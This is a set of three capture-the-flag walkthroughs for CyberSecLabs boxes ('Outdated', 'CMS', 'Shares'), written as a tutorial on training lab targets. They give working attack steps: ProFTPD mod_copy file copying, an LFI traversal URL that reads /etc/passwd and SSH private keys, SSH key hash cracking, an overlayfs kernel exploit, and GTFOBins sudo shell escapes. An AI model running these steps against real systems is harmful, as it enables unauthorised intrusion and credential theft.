CyberSecLabs “Outdated” Walkthrough

CyberSecLabs

Outdated is a beginner level box from CyberSecLabs hosting an NFS share and an outdated version of FTP. After using built-in ProFTP commands to copy files we’ll get our first shell. From there we enumerate the kernel and find an exploit.

Outdated’s IP Address is 172.31.1.22.

Fire up the VPN, let’s get started.

Scanning and Enumeration

As usual we start with a Nmap scan of the target with the following flags.

-sC – run default scripts
-sV – enumerate service version

nmap -sC -sV 172.31.1.22

The Nmap scan results show us a handful of open ports including:
FTP on 21, SSH on 22, RPC on 111 and a NFS share on 2049.

Based on the Nmap results I want to investigate the open NFS share on port 2049. I’d say if you have an open share check that out first.

Use the showmount command to display the name of the share on port 2049. We see that’s its a folder called /var/nfsbackups/.

The next step for investigating a NFS share is to mount the share locally on your attack machine.

showmount -e 172.31.1.22
mount -t nfs 172.31.1.22:/var/nfsbackups/ /root/CSL/Outdated/Mnt/

The share is now mounted on my local machine. It appears we have a backup of three different user’s folders. Simply use LS to list all the files in those folders and we see the folders are empty.

ls -al Mnt/anna/
ls -al Mnt/daniel/
ls -al Mnt/robert/

The NFS share was a dead end. Nothing there that will help us move forward on this box. What now?

We go back to our initial Nmap scans and enumerate another port or service.

Looking at the Nmap scan I see that we have a specific version of FTP running on port 21. ProFTP 1.3.5. When you find a service/version on a open port its worth looking for available exploits.

Seachsploit is the way to do this easily from the terminal.

searchsploit -w proftp 1.3.5

There’s a few exploits available. One Metasploit module and two remote exploits. Let’s take a peek at the exploit code for 36803.

It’s a python script and its making a connection to the server on port 21. If we scroll down into the meat of the code, we see that it attempts to copy the /etc/passwd file to a location of your choosing.

Viewing exploit code – exploit-db.com/exploits/36803

This is important. While this exploit won’t fit our needs exactly, we can learn and utilize pieces of this code to our advantage. If we can connect to port 21 on the target we can use ProFTP commands to copy files from the target.

Netcat can be used to make connections to a target IP address and port. I use the site help command to verify I have the correct commands to copy and paste. The important piece here is not what you are attempting to copy, but where you will paste the file. What’s the most logical choice and place we already have access to? /var/nfsbackups.

nc 172.31.1.22 21
site help
site cpfr /etc/passwd
site cpto /var/nfsbackups/passwd

As a proof of concept we attempt to copy the /etc/passwd file. While we won’t get the password hashes (those are stored separately in the /etc/shadow file, we can learn some useful information from /etc/passwd.

Cat out the contents of /etc/passwd. The only user with /bin/bash is Daniel. Which means this is the account we will utilize to get access to the target.

ls -al Mnt/
cat Mnt/passwd

Exploitation

Our proof of concept was successful so let’s take that idea and use it to copy files that will help us gain access to the box.

Thinking back to our original Nmap scan results. We have SSH open on 22. Daniel is a user that has the ability to login to the target. That means we can copy his home directory and then use his RSA private key to SSH into the box as Daniel.

Follow the same steps as before but this time copy the Daniel’s home folder to /var/nfsbackups/daniel.

nc 172.31.1.22
site cpfr /home/daniel/
site cpto /var/nfsbackups/daniel

The copy shows successful, but let’s confir.

ls -la Mnt/daniel/

Now we see the contents of Daniel’s home folder. The RSA private keys are stored in a hidden folder called .ssh.

All we need to do is use the id_rsa file to SSH into the target.

cd Mnt/daniel/.ssh/
ls
ssh -i id_rsa daniel@172.31.1.22

Success. We used Daniel’s RSA private key to SSH into this box and we have a bash prompt as the Daniel user.

Privilege Escalation

We have access to the target as the user Daniel. Daniel is low privileged user so we will need to escalate ourselves to root. To enumerate this box we will use LinPEAS from the Privilege Escalation Awesome Suite.

I’ll use wget to transfer LinPEAS to the target. Just need to spin up a python simple web server to host the file.

python -m SimpleHTTPServer 80

With LinPEAS.sh transferred to the target we just need to chmod the file permissions to allow it to be executed. After that’s complete go ahead and run LinPEAS.

ls
chmod +x linpeas.sh
./linpeas.sh

Before we get into the LinPEAS output let’s take a look at the Legend. This is important to be aware while reviewing the output and its easy to skip over. If we see something in RED/YELLOW its almost certainly a privilege escalation vector and worth investigating.

LinPEAS Legend

I’ll save some time here while reviewing this output. At the very top of the results we have the Basic info section. If you’ll notice we have a RED/YELLOW highlight on the Linux Kernel version which is 3.13.0.

Basic Info Section of LinPEAS output

I’ll use Searchsploit to do a quick search on that kernel version.

searchsploit 3.13.0

We have a match on the Kernel version. The kernel exploit known as “overlayfs”. If we search around a bit we can find a pre-compiled version of this exploit. You find it here.

Download the ofs_64 file and transfer it to the target. I’ll use wget and a python web server again to facilitate the file transfer.

python3 -m http.server 80

Confirm the file transferred successfully and give it permissions to execute with chmod. Now we are ready to launch the kernel exploit.

ls
chmod +x ofs_64
ls -la

Run the exploit. You’ll return a blank prompt. If we run whoami we see that we are now root.

./ofs_64
whoami

Capture the Flags!

All that’s left is to capture the flags and submit the hashes.

cat /root/system.txt
cat /home/daniel/access.txt

There it is. Outdated from CyberSecLabs. A great box that shows us how to abuse the built in features of ProFTP combined with an exposed NFS share. This is also the first box from CyberSecLabs where we’ve used a kernel exploit for privilege escalation.

CyberSecLabs – “CMS” Walkthrough

CyberSecLabs

CMS from CyberSecLabs is a beginner level box hosting a WordPress installation. Using a file inclusion vulnerability we’ll gain access to the target, and exploit weak sudo permissions to escalate to root.

Let’s get started.

The IP Address for CMS is 172.31.1.8

Scanning and Enumeration

As always we run our Nmap scan against the target with -sC for default scripts, -sV for enable service enumeration, -p- to scan all TCP ports.

nmap -sC -sV -p- 172.31.1.8

Only two open ports on the target. Port 22 running SSH and port 80 hosting a HTTP web server. When we see this on a pentest or capture the flag, port 80 is almost always the initial entry point.

Next, I’ll run Nitko against the target to scan the web server.

nikto -h 172.31.1.8

Nothing actionable here other than confirming a WordPress installation. Let’s move on to directory busting.

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.8

Again, we don’t find anything interesting, other than a couple WordPress pages.

Nikto and Gobuster didn’t provide us with any actionable information. We need to dig deeper and enumerate the web server. Which happens to be a WordPress site, let’s use….

WPScan – WordPress Security Scanner

WPScan is a WordPress vulnerability scanner that helps enumerate plugins, themes, and other information about WordPress installations. Let’s run this against the target web server.

WPScan with default options will generate a list of theme’s, and plugins to enumerate. It also points out which versions are out of date.

Here we see a plugin identified. I’m not familiar with this specific plugin, so I’ll do a quick Searchsploit to see if it has any known vulnerabilities.

wpscan –url 172.31.1.8

Searchsploit will search the local Exploit-DB repository on your Linux box. Provided you’ve updated the Searchsploit database, what you see here are the same results you’ll find on the Exploit-DB website.

We find an exploit for the WP with Spritz plugin. Our version also matches, so now we have a vulnerability to exploit.

searchsploit -w wp with spritz

Exploitation

We have a vulnerable WordPress plugin named WP-with-Spritz. Our exploit is a Remote File Inclusion vulnerability as stated in the title. However, if you look at the code we have two working POC’s. One Remote file inclusion, and one for Local file inclusion. Which one do we use to exploit?

File Inclusion Vulnerabilities

LFI or Local File Inclusion vulnerabilities allow the attacker to read and sometimes execute files on the target machine.

RFI or Remote File Inclusion vulnerabilities are easier to exploit but less common. Instead of accessing a file on the target system, the attacker is able to execute code hosted on their own machine.

Now we’ve got a primer on file inclusion vulnerabilities so let’s continue. Essentially, we’re manipulating the URL address into displaying local files on the target. The POC provided in the exploit will grab the /etc/passwd file. Since this file is readable by all users on a Linux system, this is a great way to test the vulnerability.

I navigate to the following URL and then right click and select “View Source”. This will provide the formatting associated with the file.

http://172.31.1.8//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

http://172.31.1.8//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

Pause for a moment and think back to our initial Nmap scan. Two ports open. One is the web server, and the other is SSH. That means we could probably find a user with a private key that might allow us to connect to the target over SSH.

On a Linux system private SSH keys are stored in the user’s home folder under .ssh. If we peak at the /etc/passwd file you notice the only other user account besides root is the “angel” account. That’s our user.

Modify our URL address path to /home/angel/.ssh/id_rsa in your browser and go. Again to format the file, right click and select “View Source”.

http://172.31.1.8//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//home/angel/.ssh/id_rsa

Copy the private key into a file named id_rsa. Then chmod on the file to allow us to execute it.

Now we’ll use the private key inside the id_rsa file to connect to the target over SSH as the angel user.

chmod 700 id_rsa
ssh -i id_rsa angel@172.31.1.8

Success! We are now logged into the target as Angel.

Privilege Escalation

You’ve gained access to a Linux system as a low privileged user. What’s the first thing you do?

Check Sudo Permissions. The easiest and quickest win on a Linux system can be found by running Sudo -L.

This will show you what commands can be run under the Root account without a password, by the current user.

sudo -l

This is the holy grail for Sudo permissions. If you ever find a user who can run (ALL : ALL) NOPASSWD: ALL, you can immediately own that box and become root.

Again, whatever command we run will be run under the Root account. All we have to do is spawn a bin/bash shell as the root user. Boom. Done. It’s that easy.

sudo -l
sudo /bin/bash

Capture the flags!

Don’t forget to capture your flags and complete the box.

cat /home/angel/access.txt
cat /root/system.txt

That is CMS from CyberSecLabs. An excellent beginner box that demonstrates how to exploit a file inclusion vulnerability to gain initial access to the target. Once we got our low privileged user, we used a simple Sudo command to spawn a root shell. Always, always, always check those Sudo permissions. That is easiest and quickest way to score a win on Linux.

CyberSecLabs – “Shares” Walkthrough

CyberSecLabs

Shares from CyberSecLabs is a interesting beginner box in that there’s very little actual exploitation. No reverse shells, no payloads and we also won’t be using any automated tools for enumeration during privilege escalation. What we will be doing is taking advantage of a open share containing a user’s home directory with everything that entails. We’ll get to root by abusing Sudo permissions two different ways.

Let’s get started.

Shares IP address is 172.31.1.7. Connect to the VPN and ping your target to verify connectivity.

Scanning and Enumeration

As usual I’ll start with a Nmap scan of the target. Here I’m scanning with -sC for default scripts, -sV for service enumeration, and -p- to scan all 65535 TCP ports.

nmap -sC -sV -p- 172.31.1.7

Nmap scan results show a handful of open ports. FTP is open, but we need a password. Port 80 is hosting a web server, and we have RPC on port 111. Next we jump to port 2049 which is hosting a NFS file share. Interesting. Then we have SSH on port 27853 which is also very interesting. After that we have some higher level ports I don’t recognize, and I’ll ignore them for now.

I’ll start by examining the file share that’s being hosted on 2049.

showmount -e 172.31.1.7

Showmount reveals a mounted home directory for a “amir” user. Now we can mount that directory to our local machine and explore the files on the share. I’ll do that using the mount command, NFS for the type of share, followed by the IP address of the target with the path, and the local path where the share will be mounted on our local machine.

After mounting the share I ls -la to reveal all hidden files and folders. Here we see the contents of the user’s home folder. We even have the .ssh folder which hopefully contains a private key we can utilize.

mount -t nfs 172.31.1.7:/home/amir/ /root/CSL/Shares/Mnt/Shares
ls -la

Change directory into the .ssh folder and we see exactly what we hoped. Private SSH keys! Now if you pay attention to the permissions on the left, we can only read one of those files id_rsa.bak.

cd .ssh
ls -la

Let’s take a peek at id_rsa.bak, and unsurprisingly we see it’s a RSA private key. Next we’ll try and use this key to connect to SSH.

cat id_rsa.bak

I copy the id_rsa.bak file into my Shares working directory. Chmod to give the file permissions so we can make it useful. Then attempt to connect to the target over SSH as Amir using the private key.

cp /root/CSL/Shares/Mnt/Shares/.ssh/id_rsa.bak .
chmod 700 id_rsa.bak
ssh -i id_rsa.bak amir@172.31.1.7 -p 27853

As you’ll notice above, we are prompted for a password for Amir. Which we don’t have…. yet.

Exploitation

We need a password to SSH to the box as Amir. How do we get it? Since we have the RSA private key, we can utilize a tool included with John the Ripper aptly called “ssh2john”.

Ssh2john will extract the hash from the SSH private key, and what do we do with hashes? That’s right, we crack them.

locate ssh2john
/usr/share/john/ssh2john.py id_rsa.bak

Run ssh2john again, and this time redirect the output to a new file called hash. Then run John the ripper with a specified wordlist against the hash file. I’m using the go-to rockyou.txt wordlist. If you aren’t sure which wordlist to use when doing capture the flag style boxes, I would recommend starting with rockyou.txt.

/usr/share/john/ssh2john.py id_rsa.bak > hash
john –wordlist=/usr/share/wordlists/rockyou.txt hash

It took almost no time to crack the hash. Very simple password which we see in the John the Ripper output.

Same as before. Connect to the target over SSH as Amir. Enter the password when prompted. Now we have access to the target system.

Privilege Escalation

We have access to the target now as a low privileged user named Amir. We already know the target is a Linux system. Like I mentioned we won’t be using any tools to automate the enumeration process for us.

So where do we start? Well the best place to start in my opinion for a Linux system would be checking what Sudo permissions the user has. That’s the low hanging fruit. A lot of the time we can score a quick win if we have Sudo permissions on a file or command.

sudo -l

Above we see that the Amir user has the ability to run two binaries as the user Amy. One being python3 and pkexec.

First thing we do when we find binaries listed under Sudo, is we look them up on GTFO bins. Lookup python3 and you’ll see we have a Sudo option.

sudo python -c 'import os; os.system("/bin/sh")'

This python command will spawn a /bin/sh shell for us. We can tweak it just a bit, by adding /bin/bash and now it will spawn a bash shell. We’re ready to go now, run the command and specify the user as amy.

sudo -u amy /usr/bin/python3 -c ‘import os; os.system(“/bin/bash”)’
whoami
sudo -l

Boom. We have spawned a bash shell and become the Amy user. Rinse and repeat. Let’s check her Sudo permissions. We see above she also has a binary listed, this time /usr/bin/ssh.

Go back to GFTO bins and let’s find another way to exploit this binary. Of course we find a Sudo option listed for this binary.

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

There’s the command above, and this will spawn a interactive shell as root. I run the command as is and you’ll notice that we do indeed get a root prompt. However, its the basic sh prompt #. If we tweak this command by also spawning a bash shell, we will get a nice Root@Shares prompt.

sudo ssh -o ProxyCommand=’;sh 0<&2 1>&2′ x
whoami
exit
sudo /usr/bin/ssh -o ProxyCommand=’;bash 0<&2 1>&2′ x

Capture the Flags!

cat /home/amy/access.txt
cat /root/system.txt

There you go. Shares from CyberSecLabs. A interesting beginner box, that really enforces some good habits to get into while pentesting or doing capture the flag scenarios. You learn a couple cool tricks on how to work with mounted network shares, and how to reverse a SSH Private key into a hash and then crack it. Lastly we learned to check Sudo permissions first, and always always look them up on GTFO bins for a quick win.